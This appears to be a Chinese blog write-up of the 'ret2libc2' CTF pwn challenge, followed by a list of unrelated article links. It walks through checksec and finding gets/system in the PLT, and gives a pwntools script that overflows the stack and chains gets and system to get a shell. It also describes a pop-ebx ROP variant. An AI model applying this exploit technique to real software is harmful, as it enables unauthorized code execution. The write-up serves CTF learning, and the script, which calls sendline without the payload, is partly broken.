当前位置:网站首页>PWN —— ret2libc2
PWN —— ret2libc2
2022-07-22 18:12:00 【Mokapeng】
拿到题目,先checksec一下:
发现NX打开,不能自己构造shellcode,打开ida查找是否由后门函数,发现并没有
再查找是否存在/bin/sh
发现也不存在/bin/sh,则直接看plt表
由gets和system表,则想到可以利用gets读到/bin/sh,然后用system获取/bin/sh,读取这个字符串一般放在bss段,利用IDA进行查找。
发现存在一个buf2可以用来存/bin/sh,则可构造栈结构图:
则开始写攻击代码
from pwn import *
io = process("./ret2libc2")
payload = 112* b'A' + p32(0x8048460) + p32(0x8048490) + p32(0x804A080)*2
io.sendline()
io.interactive()
# 交互时要在gets出输入/bin/sh
这题还可以换种思路,利用ROPgadget进行溢出
虽然该题目是动态连接,但还是存在一点gadget的,比如pop ebx ; ret,由于ebx无特别功能,可以利用其栈平衡

解释一下:当执行gets后,会向上2个位置获取参数,本图即buf2的位置,然后esp指向pop_ebx_ret,执行pop_ebx_ret将buf2移出栈,执行[email protected],再用pop_ebx_ret将system的参数移出栈,达到栈平衡
边栏推荐
- Use of vim editor
- 详解虚拟机下三种联网模式
- 配置IP地址
- The difference between get request and post request and packet capturing
- A rough understanding of firewall
- zstuAcm学生信息库的建立(用链表完成)
- get请求和post请求区别
- shell基本命令
- Difference between get request and post request
- Implementing IO multiplexing in UNIX using poll function to realize network socket server
猜你喜欢
随机推荐
Regular expression I
防火墙知识,原理,设备,厂商调研总结报告
推荐系统基础架构以及项目介绍
STM32学习—DHT11温湿度传感器采样驱动并用cjson格式上报
【基础7】——异常,捕获、自定义异常
Embedded system transplantation [1] - Guidance
DNS域名解析服务
Use of vim editor
最大公约数和最小公倍数
LC:剑指 Offer 10- I. 斐波那契数列
循环与函数
UNIX实现IO多路复用之使用epoll函数实现网络socket服务端
esp-idf vscode配置 从下载工具链到创建工程,步骤记录
DHCP原理与配置
Input a string of characters from the keyboard, output different characters and the number of times each character appears. (the output is not in order) use the common methods of string class to solve
STM32 learning - DHT11 temperature and humidity sensor sampling drive and reporting in cjson format
Shell basic commands
UNIX编程—网络socket
快速支持客户知识库的核心优势是什么?
[untitled]









